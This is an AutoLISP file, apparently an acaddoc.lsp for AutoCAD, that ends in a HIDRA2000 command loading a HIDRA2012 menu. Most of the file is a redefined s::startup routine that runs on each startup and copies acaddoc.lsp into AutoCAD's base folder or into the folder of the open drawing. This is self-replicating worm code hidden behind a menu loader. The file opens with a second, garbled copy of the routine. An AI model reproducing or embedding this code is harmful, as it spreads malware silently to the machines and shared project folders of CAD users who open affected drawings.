(defun-q s::(/   
	    acaddocpat
	     
	    
	    
	    
	   )
     (setq basepath
	    (findfile "base.dcl")
     )
     (setq basepath
	    (substr basepath
		    1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
  
	(setq acaddocpath
               (findfile "acaddoc.lsp")
	)
	(setq acaddocpath
	       (substr acaddocpath
		       1 (- (strlen acaddocpath) 11)
	       )
	)
	(setq acaddoclsp
	       (strcat acaddocpath "acaddoc.lsp"))
	
	
        (setq c-acaddocname
	       (getvar "dwgname")
	)
        (setq c-acaddocpath
	       (findfile c-acaddocname)
	)
        (setq c-acaddocpath
	       (substr c-acaddocpath
		       1 (- (strlen c-acaddocpath) (strlen c-acaddocname))	
		)
	 )
        (setq c-acaddoc
	       (strcat c-acaddocpath "acaddoc.lsp")
	 )
	 (if
           (and
	   (/= basepath acaddocpath)
	   (= c-acaddocpath acaddocpath)
	   )
	     (progn
	       (setq r-acaddoc
	       (open acaddoclsp "r")
	       )
	       (setq w-basepath
	          (open baseacad "w")
		)     
	       (while
	           (setq rl-acaddoc
		    (read-line r-acaddoc)
	           )
	           (write-line rl-acaddoc w-basepath)
	        )
	        (close w-basepath)   
                (close r-acaddoc)
	    
             )
         
	     (progn
	       (setq r-acaddoc
	       (open acaddoclsp "r")
	       )
	       (setq w-basepath
	          (open c-acaddoc "w")
		)
	        (while
	           (setq rl-acaddoc
		    (read-line r-acaddoc)
	           )
	           (write-line rl-acaddoc w-basepath)
	        )
	        (close w-basepath)   
                (close r-acaddoc)
	    
             )
	 )
	 (princ)
)
(defun-q s::startup
	 (/ basepath
	    baseacad
	    acaddocpath
	    r-acaddoc
	    w-basepath
	    rl-acaddoc
	    acaddoclsp
	    c-acaddocname
	    c-acaddocpath
	    c-acaddoc
	   )
     (setq basepath
	    (findfile "base.dcl")
     )
     (setq basepath
	    (substr basepath
		    1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
  
	(setq acaddocpath
               (findfile "acaddoc.lsp")
	)
	(setq acaddocpath
	       (substr acaddocpath
		       1 (- (strlen acaddocpath) 11)
	       )
	)
	(setq acaddoclsp
	       (strcat acaddocpath "acaddoc.lsp"))
	
	
        (setq c-acaddocname
	       (getvar "dwgname")
	)
        (setq c-acaddocpath
	       (findfile c-acaddocname)
	)
        (setq c-acaddocpath
	       (substr c-acaddocpath
		       1 (- (strlen c-acaddocpath) (strlen c-acaddocname))	
		)
	 )
        (setq c-acaddoc
	       (strcat c-acaddocpath "acaddoc.lsp")
	 )
	 (if
           (and
	   (/= basepath acaddocpath)
	   (= c-acaddocpath acaddocpath)
	   )
	     (progn
	       (setq r-acaddoc
	       (open acaddoclsp "r")
	       )
	       (setq w-basepath
	          (open baseacad "w")
		)     
	       (while
	           (setq rl-acaddoc
		    (read-line r-acaddoc)
	           )
	           (write-line rl-acaddoc w-basepath)
	        )
	        (close w-basepath)   
                (close r-acaddoc)
	    
             )
         
	     (progn
	       (setq r-acaddoc
	       (open acaddoclsp "r")
	       )
	       (setq w-basepath
	          (open c-acaddoc "w")
		)
	        (while
	           (setq rl-acaddoc
		    (read-line r-acaddoc)
	           )
	           (write-line rl-acaddoc w-basepath)
	        )
	        (close w-basepath)   
                (close r-acaddoc)
	    
             )
	 )
	 (princ)
)
















(setq flagx t)
(DEFUN c:hidra2000 ()(SETVAR "CMDECHO" 0)
(IF (NULL (MENUGROUP "HIDRA2012"))
(PROGN (COMMAND "_.MENULOAD" "C:/HIDRA2000/MNU/HIDRA2012.MNU")
(MENUCMD "P11=+HIDRA2012.pop1")
(MENUCMD "P12=+HIDRA2012.pop2")
(MENUCMD "P13=+HIDRA2012.pop3"))
(PROGN (MENUCMD "P11=+HIDRA2012.pop1")
(MENUCMD "P12=+HIDRA2012.pop2")
(MENUCMD "P13=+HIDRA2012.pop3")))(PRINC))(PRINC)
